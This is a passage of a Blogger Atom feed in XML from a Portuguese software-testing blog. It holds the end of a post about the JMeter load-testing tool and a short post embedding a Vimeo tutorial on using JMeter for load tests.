/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;antes que eu esqueça esse post foi retirado daqui&lt;br /&gt;http://testersoftware.blogspot.com/2010/09/jmeter.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-8838083758592600348?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/8838083758592600348/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmeter-o-jmeter-%C3%A9-uma-ferramenta-open.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/8838083758592600348?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/8838083758592600348?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmeter-o-jmeter-%C3%A9-uma-ferramenta-open.html' title=''/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D0MGRnYzcSp7ImA9Wx9RE0k.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-3621633288985854848</id><published>2010-12-14T08:47:00.000-08:00</published><updated>2010-12-14T08:50:27.889-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-14T08:50:27.889-08:00</app:edited><title></title><content type='html'>&lt;iframe src="http://player.vimeo.com/video/14859747" frameborder="0" height="285" width="400"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/14859747"&gt;Usando o JMeter para teste de Carga&lt;/a&gt; from &lt;a href="http://vimeo.com/geniusdeveloper"&gt;Rafael Cirolini&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;encontrei isso enquanto procura como usar o Jmetter ... muito bom.. pena que eu sempre esqueço meu foninho de ouvido lá em casa&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-3621633288985854848?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/3621633288985854848/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/usando-o-jmeter-para-teste-de-carga.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3621633288985854848?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3621633288985854848?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/usando-o-jmeter-para-teste-de-carga.html' title=''/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry></feed>